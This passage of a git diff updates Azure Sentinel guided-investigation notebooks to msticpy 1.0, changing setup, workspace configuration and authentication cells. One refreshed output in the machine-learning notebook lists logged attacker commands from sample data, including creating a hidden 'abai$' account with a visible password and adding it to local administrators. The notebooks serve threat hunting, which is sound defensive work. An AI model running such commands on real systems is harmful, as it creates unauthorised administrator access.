\n", @@ -74,37 +74,22 @@ "outputs": [], "source": [ "from pathlib import Path\n", - "import os\n", - "import sys\n", - "import warnings\n", - "from ipywidgets import HBox\n", - "from IPython.display import display, HTML, Markdown\n", + "from IPython.display import display, HTML\n", "\n", "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(0, 6, 0)\n", + "REQ_MSTICPY_VER=(1, 0, 0)\n", "\n", "display(HTML(\"

Starting Notebook setup...

\"))\n", "if Path(\"./utils/nb_check.py\").is_file():\n", - " from utils.nb_check import check_python_ver, check_mp_ver\n", - "\n", - " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n", - " try:\n", - " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", - " except ImportError:\n", - " !pip install --upgrade msticpy\n", - " if \"msticpy\" in sys.modules:\n", - " importlib.reload(sys.modules[\"msticpy\"])\n", - " else:\n", - " import msticpy\n", - " check_mp_ver(REQ_MSTICPY_VER)\n", + " from utils.nb_check import check_versions\n", + " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER)\n", " \n", "\n", "# If not using Azure Notebooks, install msticpy with\n", "# !pip install msticpy\n", "from msticpy.nbtools import nbinit\n", "nbinit.init_notebook(\n", - " namespace=globals(),\n", - " extra_imports=[\"ipwhois, IPWhois\"]\n", + " namespace=globals()\n", ");" ] }, @@ -794,9 +779,9 @@ "metadata": { "hide_input": false, "kernelspec": { - "display_name": "Python 3.6", + "display_name": "Python (condadev)", "language": "python", - "name": "python36" + "name": "condadev" }, "language_info": { "codemirror_mode": { diff --git a/Guided Investigation - Process-Alerts.ipynb b/Guided Investigation - Process-Alerts.ipynb index 64ab2c4..1a95765 100644 --- a/Guided Investigation - Process-Alerts.ipynb +++ b/Guided Investigation - Process-Alerts.ipynb @@ -77,35 +77,28 @@ "outputs": [], "source": [ "from pathlib import Path\n", - "import os\n", - "import sys\n", - "import warnings\n", - "from IPython.display import display, HTML, Markdown\n", + "from IPython.display import display, HTML\n", "\n", "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(0, 6, 0)\n", + "REQ_MSTICPY_VER=(1, 0, 0)\n", + "REQ_MP_EXTRAS = [\"ml\"]\n", "\n", "display(HTML(\"

Starting Notebook setup...

\"))\n", "if Path(\"./utils/nb_check.py\").is_file():\n", - " from utils.nb_check import check_python_ver, check_mp_ver\n", - "\n", - " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n", - " try:\n", - " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", - " except ImportError:\n", - " !pip install --upgrade msticpy\n", - " if \"msticpy\" in sys.modules:\n", - " importlib.reload(sys.modules[\"msticpy\"])\n", - " else:\n", - " import msticpy\n", - " check_mp_ver(REQ_MSTICPY_VER)\n", + " from utils.nb_check import check_versions\n", + " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER, REQ_MP_EXTRAS)\n", " \n", "\n", "# If not using Azure Notebooks, install msticpy with\n", "# !pip install msticpy\n", + "\n", "from msticpy.nbtools import nbinit\n", + "additional_packages = [\"seaborn\"]\n", "\n", - "nbinit.init_notebook(namespace=globals());" + "nbinit.init_notebook(\n", + " namespace=globals(),\n", + " additional_packages=additional_packages\n", + ");" ] }, { @@ -143,8 +136,15 @@ "metadata": {}, "outputs": [], "source": [ - "# To list configured workspaces run WorkspaceConfig.list_workspaces()\n", - "# WorkspaceConfig.list_workspaces()" + "# See if we have an Azure Sentinel Workspace defined in our config file.\n", + "# If not, let the user specify Workspace and Tenant IDs\n", + "\n", + "ws_config = WorkspaceConfig()\n", + "if not ws_config.config_loaded:\n", + " ws_config.prompt_for_ws()\n", + " \n", + "qry_prov = QueryProvider(data_environment=\"AzureSentinel\")\n", + "print(\"done\")" ] }, { @@ -153,10 +153,8 @@ "metadata": {}, "outputs": [], "source": [ - "# Authentication\n", - "ws_config = WorkspaceConfig()\n", - "qry_prov = QueryProvider(data_environment=\"LogAnalytics\")\n", - "qry_prov.connect(connection_str=ws_config.code_connect_str)\n", + "# Authenticate to Azure Sentinel workspace\n", + "qry_prov.connect(ws_config)\n", "table_index = qry_prov.schema_tables" ] }, @@ -1269,4 +1267,4 @@ }, "nbformat": 4, "nbformat_minor": 4 -} +} \ No newline at end of file diff --git a/Guided Investigation - Solarwinds Post Compromise Activity.ipynb b/Guided Investigation - Solarwinds Post Compromise Activity.ipynb index 9226761..e64c88b 100644 --- a/Guided Investigation - Solarwinds Post Compromise Activity.ipynb +++ b/Guided Investigation - Solarwinds Post Compromise Activity.ipynb @@ -111,56 +111,20 @@ "outputs": [], "source": [ "from pathlib import Path\n", - "import os\n", - "import sys\n", - "import warnings\n", - "from IPython.display import display, HTML, Markdown\n", - "from ipywidgets import widgets, Layout\n", + "from IPython.display import display, HTML\n", "\n", "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(0, 6, 0)\n", + "REQ_MSTICPY_VER=(1, 0, 0)\n", "\n", "display(HTML(\"

Starting Notebook setup...

\"))\n", "if Path(\"./utils/nb_check.py\").is_file():\n", - " from utils.nb_check import check_python_ver, check_mp_ver\n", - "\n", - " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n", - " try:\n", - " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", - " except ImportError:\n", - " !pip install --upgrade msticpy\n", - " if \"msticpy\" in sys.modules:\n", - " importlib.reload(sys.modules[\"msticpy\"])\n", - " else:\n", - " import msticpy\n", - " check_mp_ver(REQ_MSTICPY_VER)\n", + " from utils.nb_check import check_versions\n", + " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER)\n", " \n", "\n", "# If not using Azure Notebooks, install msticpy with\n", "# !pip install msticpy\n", "from msticpy.nbtools import nbinit\n", - "extra_imports = [\n", - " \"tqdm.notebook, tqdm\",\n", - " \"whois\",\n", - " \"dns\",\n", - " \"tldextract\",\n", - " \"datetime, date\",\n", - " \"pandas, ,pd\",\n", - " \"requests\",\n", - " \"zipfile\",\n", - " \"io\",\n", - " \"re\",\n", - " \"glob\",\n", - " \"IPython\",\n", - " \"json\",\n", - " \"csv\",\n", - " \"ipywidgets,,widgets\",\n", - " \"msticpy.nbtools.foliummap, get_map_center\",\n", - " \"msticpy.nbtools.foliummap, get_center_ip_entities\",\n", - " \"pandas, json_normalize\",\n", - " \"ruamel.yaml, YAML\",\n", - " \"functools, lru_cache\",\n", - "]\n", "\n", "additional_packages = [\n", " \"tldextract\", \"IPWhois\", \"python-whois\"\n", @@ -168,13 +132,25 @@ "nbinit.init_notebook(\n", " namespace=globals(),\n", " additional_packages=additional_packages,\n", - " extra_imports=extra_imports,\n", ");\n", "\n", - "WIDGET_DEFAULTS = {\n", - " \"layout\": widgets.Layout(width=\"95%\"),\n", - " \"style\": {\"description_width\": \"initial\"},\n", - "}\n", + "from datetime import date\n", + "from functools import lru_cache\n", + "from msticpy.nbtools.foliummap import get_map_center, get_center_ip_entities\n", + "from pandas import json_normalize\n", + "from ruamel.yaml import YAML\n", + "from tqdm.notebook import tqdm\n", + "import IPython\n", + "import csv\n", + "import dns\n", + "import glob\n", + "import io\n", + "import json\n", + "import re\n", + "import requests\n", + "import tldextract\n", + "import whois\n", + "import zipfile\n", "from bokeh.plotting import figure" ] }, @@ -189,19 +165,15 @@ }, "outputs": [], "source": [ - "#Collect Azure Sentinel Workspace Details from our config file and use them to connect\n", - "try:\n", - " #Update to WorkspaceConfig(workspace=\"WORKSPACE_NAME\") to get alerts from a Workspace other than your default one.\n", - " ws_config = WorkspaceConfig()\n", - " ws_id = ws_config['workspace_id']\n", - " ten_id = ws_config['tenant_id']\n", - " md(\"Workspace details collected from config file\")\n", - " qry_prov = QueryProvider('LogAnalytics')\n", - " qry_prov.connect(connection_str=ws_config.code_connect_str)\n", - "except RuntimeError:\n", - " md(\"\"\"You do not have any Workspaces configured in your config files.\n", - " Please run the https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb\n", - " to setup these files before proceeding\"\"\" ,'bold')\n", + "# See if we have an Azure Sentinel Workspace defined in our config file.\n", + "# If not, let the user specify Workspace and Tenant IDs\n", + "\n", + "ws_config = WorkspaceConfig()\n", + "if not ws_config.config_loaded:\n", + " ws_config.prompt_for_ws()\n", + " \n", + "qry_prov = QueryProvider(data_environment=\"AzureSentinel\")\n", + "print(\"done\")\n", " \n", "ti = TILookup()" ] @@ -218,6 +190,16 @@ "To configure this file see the [ConfigureNotebookEnvironment notebook](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb)" ] }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Authenticate to Azure Sentinel workspace\n", + "qry_prov.connect(ws_config)" + ] + }, { "cell_type": "code", "execution_count": null, @@ -1096,4 +1078,4 @@ }, "nbformat": 4, "nbformat_minor": 4 -} +} \ No newline at end of file diff --git a/Guided Investigation - WAF data.ipynb b/Guided Investigation - WAF data.ipynb index 18d7298..9273694 100644 --- a/Guided Investigation - WAF data.ipynb +++ b/Guided Investigation - WAF data.ipynb @@ -91,27 +91,17 @@ "from pathlib import Path\n", "import os\n", "import sys\n", - "import warnings\n", - "from IPython.display import display, HTML, Markdown\n", - "os.environ[\"KQLMAGIC_LOAD_MODE\"]=\"silent\"\n", + "from pathlib import Path\n", + "from IPython.display import display, HTML\n", "\n", "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(0, 6, 0)\n", + "REQ_MSTICPY_VER=(1, 0, 0)\n", + "REQ_MP_EXTRAS = [\"ml, kql\"]\n", "\n", "display(HTML(\"

Starting Notebook setup...

\"))\n", "if Path(\"./utils/nb_check.py\").is_file():\n", - " from utils.nb_check import check_python_ver, check_mp_ver\n", - "\n", - " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n", - " try:\n", - " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", - " except ImportError:\n", - " !pip install --upgrade msticpy\n", - " if \"msticpy\" in sys.modules:\n", - " importlib.reload(sys.modules[\"msticpy\"])\n", - " else:\n", - " import msticpy\n", - " check_mp_ver(REQ_MSTICPY_VER)\n", + " from utils.nb_check import check_versions\n", + " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER, REQ_MP_EXTRAS)\n", "\n", " \n", "# If not using Azure Notebooks, install msticpy with\n", @@ -119,9 +109,9 @@ "from msticpy.nbtools import nbinit\n", "nbinit.init_notebook(\n", " namespace=globals()\n", + " additional_packages=[\"adjustText\", \"plotly\"]\n", ");\n", "\n", - "!pip install adjustText\n", "from ipywidgets import widgets, interactive\n", "import plotly.graph_objects as go\n", "import plotly.express as px\n", @@ -187,9 +177,25 @@ } ], "source": [ + "# See if we have an Azure Sentinel Workspace defined in our config file.\n", + "# If not, let the user specify Workspace and Tenant IDs\n", + "\n", "ws_config = WorkspaceConfig()\n", - "qry_prov = QueryProvider(data_environment=\"LogAnalytics\")\n", - "qry_prov.connect(connection_str=ws_config.code_connect_str)" + "if not ws_config.config_loaded:\n", + " ws_config.prompt_for_ws()\n", + " \n", + "qry_prov = QueryProvider(data_environment=\"AzureSentinel\")\n", + "print(\"done\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Authenticate to Azure Sentinel workspace\n", + "qry_prov.connect(ws_config)" ] }, { diff --git a/Guided Triage - Alerts.ipynb b/Guided Triage - Alerts.ipynb index f3dc06e..685ea69 100644 --- a/Guided Triage - Alerts.ipynb +++ b/Guided Triage - Alerts.ipynb @@ -66,27 +66,15 @@ "outputs": [], "source": [ "from pathlib import Path\n", - "import os\n", - "import sys\n", - "import warnings\n", - "from IPython.display import display, HTML, Markdown\n", + "from IPython.display import display, HTML\n", "\n", "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(0, 6, 0)\n", + "REQ_MSTICPY_VER=(1, 0, 0)\n", "\n", "display(HTML(\"

Starting Notebook setup...

\"))\n", "if Path(\"./utils/nb_check.py\").is_file():\n", - " from utils.nb_check import check_python_ver, check_mp_ver\n", - " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n", - " try:\n", - " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", - " except ImportError:\n", - " !pip install --upgrade msticpy\n", - " if \"msticpy\" in sys.modules:\n", - " importlib.reload(sys.modules[\"msticpy\"])\n", - " else:\n", - " import msticpy\n", - " check_mp_ver(REQ_MSTICPY_VER)\n", + " from utils.nb_check import check_versions\n", + " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER)\n", " \n", "\n", "# If not using Azure Notebooks, install msticpy with\n", @@ -152,20 +140,25 @@ }, "outputs": [], "source": [ - "#Collect Azure Sentinel Workspace Details from our config file and use them to connect\n", - "try:\n", - " # Update to WorkspaceConfig(workspace=\"WORKSPACE_NAME\") to get alerts from a Workspace other than your default one.\n", - " # Run WorkspaceConfig().list_workspaces() to see a list of configured workspaces\n", - " ws_config = WorkspaceConfig()\n", - " ws_id = ws_config['workspace_id']\n", - " ten_id = ws_config['tenant_id']\n", - " md(\"Workspace details collected from config file\")\n", - " qry_prov = QueryProvider('LogAnalytics')\n", - " qry_prov.connect(connection_str=ws_config.code_connect_str)\n", - "except RuntimeError:\n", - " md(\"\"\"You do not have any Workspaces configured in your config files.\n", - " Please run the https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb\n", - " to setup these files before proceeding\"\"\" ,'bold')" + "# See if we have an Azure Sentinel Workspace defined in our config file.\n", + "# If not, let the user specify Workspace and Tenant IDs\n", + "\n", + "ws_config = WorkspaceConfig()\n", + "if not ws_config.config_loaded:\n", + " ws_config.prompt_for_ws()\n", + " \n", + "qry_prov = QueryProvider(data_environment=\"AzureSentinel\")\n", + "print(\"done\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Authenticate to Azure Sentinel workspace\n", + "qry_prov.connect(ws_config)" ] }, { @@ -721,4 +714,4 @@ }, "nbformat": 4, "nbformat_minor": 4 -} +} \ No newline at end of file diff --git a/Machine Learning in Notebooks Examples.ipynb b/Machine Learning in Notebooks Examples.ipynb index 89f155c..037c166 100644 --- a/Machine Learning in Notebooks Examples.ipynb +++ b/Machine Learning in Notebooks Examples.ipynb @@ -32,7 +32,7 @@ "source": [ "# # If msticpy is not installed please uncomment the following # #\n", "# # line and run before continuing # #\n", - "# !pip install --upgrade msticpy" + "# !pip install --upgrade msticpy[ml]" ] }, { @@ -44,10 +44,14 @@ "name": "stdout", "output_type": "stream", "text": [ + "msticpy version installed: 1.0.0rc4 latest published: 0.9.0\n", + "Latest version is installed.\n", "Processing imports....\n", "Checking configuration....\n", "No errors found.\n", "No warnings found.\n", + "Exception while checking configuration:\n", + "cannot unpack non-iterable NoneType object\n", "Setting notebook options....\n" ] }, @@ -90,12 +94,12 @@ { "data": { "application/vnd.jupyter.widget-view+json": { - "model_id": "f013a6adb9624bb6965d15f23b4108e4", + "model_id": "4186da8a3a394ce6ac856ce31a11ad62", "version_major": 2, "version_minor": 0 }, "text/plain": [ - "HBox(children=(HTML(value='File download'), FloatProgress(value=0.0, max=4.0), HTML(value='')))" + "File download: 0%| | 0/4 [00:00\n" + "
\n" ] }, "metadata": {}, @@ -643,8 +647,8 @@ "(function(root) {\n", " function embed_document(root) {\n", " \n", - " var docs_json = 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Application\",\"version\":\"2.2.2\"}};\n", + " var render_items = [{\"docid\":\"2e8a6f4c-7a10-4db0-ab57-ba221f9bfd56\",\"root_ids\":[\"1146\"],\"roots\":{\"1146\":\"8adbb531-cc4c-424f-b2af-721154b5c2ed\"}}];\n", " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", "\n", " }\n", @@ -932,7 +936,7 @@ }, { "cell_type": "code", - "execution_count": 10, + "execution_count": 8, "metadata": {}, "outputs": [ { @@ -1140,7 +1144,7 @@ "[4601 rows x 1 columns]" ] }, - "execution_count": 10, + "execution_count": 8, "metadata": {}, "output_type": "execute_result" } @@ -1191,7 +1195,7 @@ }, { "cell_type": "code", - "execution_count": 13, + "execution_count": 9, "metadata": {}, "outputs": [ { @@ -1234,174 +1238,174 @@ "data": { "text/html": [ "\n", + " }
SubjectUserName SubjectLogonId Rarity ProcessCount
\n", " \n", - " \n", - " \n", - " \n", - " \n", - " \n", + " \n", + " \n", + " \n", + " \n", + " \n", " \n", " \n", - " \n", - " \n", - " \n", - " \n", - " \n", + " \n", + " \n", + " \n", + " \n", + " \n", " \n", " \n", - " \n", - " \n", - " \n", - " \n", - " \n", + " \n", + " \n", + " \n", + " \n", + " \n", " \n", " \n", - " \n", - " \n", - " \n", - " \n", - " \n", + " \n", + " \n", + " \n", + " \n", + " \n", " \n", " \n", - " \n", - " \n", - " \n", - " \n", - " \n", + " \n", + " \n", + " \n", + " \n", + " \n", " \n", " \n", - " \n", - " \n", - " \n", - " \n", - " \n", + " \n", + " \n", + " \n", + " \n", + " \n", " \n", " \n", - " \n", - " \n", - " \n", - " \n", - " \n", + " \n", + " \n", + " \n", + " \n", + " \n", " \n", " \n", - " \n", - " \n", - " \n", - " \n", - " \n", + " \n", + " \n", + " \n", + " \n", + " \n", " \n", " \n", - " \n", - " \n", - " \n", - " \n", - " \n", + " \n", + " \n", + " \n", + " \n", + " \n", " \n", " \n", - " \n", - " \n", - " \n", - " \n", - " \n", + " \n", + " \n", + " \n", + " \n", + " \n", " \n", " \n", - " \n", - " \n", - " \n", - " \n", - " \n", + " \n", + " \n", + " \n", + " \n", + " \n", " \n", " \n", - " \n", - " \n", - " \n", - " \n", - " \n", + " \n", + " \n", + " \n", + " \n", + " \n", " \n", " \n", - " \n", - " \n", - " \n", - " \n", - " \n", + " \n", + " \n", + " \n", + " \n", + " \n", " \n", " \n", - " \n", - " \n", - " \n", - " \n", - " \n", + " \n", + " \n", + " \n", + " \n", + " \n", " \n", " \n", - " \n", - " \n", - " \n", - " \n", - " \n", + " \n", + " \n", + " \n", + " \n", + " \n", " \n", " \n", - " \n", - " \n", - " \n", - " \n", - " \n", + " \n", + " \n", + " \n", + " \n", + " \n", " \n", "
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6MSTICAdmin0x527d50d0.05882436MSTICAdmin0x527d50d0.0588243
1LOCAL SERVICE0x3e50.038462261LOCAL SERVICE0x3e50.03846226
14MSTICAlertsWin1$0x3e70.0122261450814MSTICAlertsWin1$0x3e70.01222614508
13MSTICAlertsWin1$0x3e40.004636819713MSTICAlertsWin1$0x3e40.0046368197
" ], "text/plain": [ - "" + "" ] }, "metadata": {}, @@ -1471,7 +1475,7 @@ }, { "cell_type": "code", - "execution_count": 14, + "execution_count": 10, "metadata": {}, "outputs": [ { @@ -1530,7 +1534,7 @@ " \n", " 22659\n", " 2019-02-12 20:30:18.290\n", - " findstr \"abai__\"\n", + " findstr \"abai$\"\n", " \n", " \n", " 22660\n", @@ -1540,22 +1544,22 @@ " \n", " 22661\n", " 2019-02-12 20:30:18.377\n", - " net user abai__ [PLACEHOLDER] /add\n", + " net user abai$ Wf9k44_9d[=$ /add\n", " \n", " \n", " 22662\n", " 2019-02-12 20:30:18.387\n", - " C:\\Windows\\system32\\net1 user abai__ [PLACEHOLDER] /add\n", + " C:\\Windows\\system32\\net1 user abai$ Wf9k44_9d[=$ /add\n", " \n", " \n", " 22663\n", " 2019-02-12 20:30:18.413\n", - " net user abai__ [PLACEHOLDER]\n", + " net user abai$ Wf9k44_9d[=$\n", " \n", " \n", " 22664\n", " 2019-02-12 20:30:18.427\n", - " C:\\Windows\\system32\\net1 user abai__ [PLACEHOLDER]\n", + " C:\\Windows\\system32\\net1 user abai$ Wf9k44_9d[=$\n", " \n", " \n", " 22665\n", @@ -1565,7 +1569,7 @@ " \n", " 22666\n", " 2019-02-12 20:30:18.460\n", - " findstr \"abai__\"\n", + " findstr \"abai$\"\n", " \n", " \n", " 22667\n", @@ -1575,12 +1579,12 @@ " \n", " 22668\n", " 2019-02-12 20:30:18.493\n", - " net localgroup administrators abai__ /add\n", + " net localgroup administrators abai$ /add\n", " \n", " \n", " 22669\n", " 2019-02-12 20:30:18.510\n", - " C:\\Windows\\system32\\net1 localgroup administrators abai__ /add\n", + " C:\\Windows\\system32\\net1 localgroup administrators abai$ /add\n", " \n", " \n", " 22670\n", @@ -1600,17 +1604,17 @@ " \n", " 22673\n", " 2019-02-12 20:30:18.590\n", - " net user www.401hk.com [PLACEHOLDER] /add\n", + " net user www.401hk.com Wf9k44_9d[=$ /add\n", " \n", " \n", " 22674\n", " 2019-02-12 20:30:18.603\n", - " C:\\Windows\\system32\\net1 user www.401hk.com [PLACEHOLDER] /add\n", + " C:\\Windows\\system32\\net1 user www.401hk.com Wf9k44_9d[=$ /add\n", " \n", " \n", " 22675\n", " 2019-02-12 20:30:18.630\n", - " net user www.401hk.com [PLACEHOLDER]\n", + " net user www.401hk.com Wf9k44_sinc9d3[=$\n", " \n", " \n", "\n", @@ -1643,22 +1647,22 @@ "22656 ftp -s:MG06.dll \n", "22657 cacls.exe C:\\Windows\\system32\\cscript.exe /e /t /g SYSTEM:F \n", "22658 net users \n", - "22659 findstr \"abai__\" \n", + "22659 findstr \"abai$\" \n", "22660 C:\\Windows\\system32\\net1 users \n", - "22661 net user abai__ [PLACEHOLDER] /add \n", - "22662 C:\\Windows\\system32\\net1 user abai__ [PLACEHOLDER] /add \n", - "22663 net user abai__ [PLACEHOLDER] \n", - "22664 C:\\Windows\\system32\\net1 user abai__ [PLACEHOLDER] \n", + "22661 net user abai$ Wf9k44_9d[=$ /add \n", + "22662 C:\\Windows\\system32\\net1 user abai$ Wf9k44_9d[=$ /add \n", + "22663 net user abai$ Wf9k44_9d[=$ \n", + "22664 C:\\Windows\\system32\\net1 user abai$ Wf9k44_9d[=$ \n", "22665 net localgroup administrators \n", - "22666 findstr \"abai__\" \n", + "22666 findstr \"abai$\" \n", "22667 C:\\Windows\\system32\\net1 localgroup administrators \n", - "22668 net localgroup administrators abai__ /add \n", - "22669 C:\\Windows\\system32\\net1 localgroup administrators abai__ /add \n", + "22668 net localgroup administrators abai$ /add \n", + "22669 C:\\Windows\\system32\\net1 localgroup administrators abai$ /add \n", "22670 net users \n", "22671 findstr \"www.401hk.com\" \n", "22672 C:\\Windows\\system32\\net1 users \n", - "22673 net user www.401hk.com [PLACEHOLDER] /add \n", - "22674 C:\\Windows\\system32\\net1 user www.401hk.com [PLACEHOLDER] /add \n", + "22673 net user www.401hk.com Wf9k44_9d[=$ /add \n", + "22674 C:\\Windows\\system32\\net1 user www.401hk.com Wf9k44_9d[=$ /add \n", "22675 net user www.401hk.com Wf9k44_sinc9d3[=$ " ] }, @@ -1763,9 +1767,16 @@ }, { "cell_type": "code", - "execution_count": 15, + "execution_count": 13, "metadata": {}, "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of events 146\n" + ] + }, { "data": { "text/html": [ @@ -1900,7 +1911,7 @@ "4 [{'Set-ConditionalAccessPolicy': [{'Name': 'Identity', 'Value': 'seccxpninja.onmicrosoft.com\\\\64... " ] }, - "execution_count": 15, + "execution_count": 13, "metadata": {}, "output_type": "execute_result" } @@ -1921,6 +1932,7 @@ "| project UserId, ClientIP, nCmds, nDistinctCmds, begin, end, duration=end-begin, cmds, params\n", "\"\"\"\n", "exchange_df = qry_prov.Azure.OfficeActivity(add_query_items=query)\n", + "print(f\"Number of events {len(exchange_df)}\")\n", "exchange_df.head()" ] }, @@ -1942,7 +1954,7 @@ }, { "cell_type": "code", - "execution_count": 16, + "execution_count": 14, "metadata": {}, "outputs": [ { @@ -1951,7 +1963,7 @@ "\n", "
\n", " \n", - " Loading BokehJS ...\n", + " Loading BokehJS ...\n", "
" ] }, @@ -2121,7 +2133,7 @@ " \"\"}};\n", "\n", " function display_loaded() {\n", - " var el = document.getElementById(\"1370\");\n", + " var el = document.getElementById(\"1659\");\n", " if (el != null) {\n", " el.textContent = \"BokehJS is loading...\";\n", " }\n", @@ -2241,7 +2253,7 @@ " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", " root._bokeh_failed_load = true;\n", " } else if (force !== true) {\n", - " var cell = $(document.getElementById(\"1370\")).parents('.cell').data().cell;\n", + " var cell = $(document.getElementById(\"1659\")).parents('.cell').data().cell;\n", " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", " }\n", "\n", @@ -2258,7 +2270,7 @@ " }\n", "}(window));" ], - "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"1370\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"1370\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" + "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var 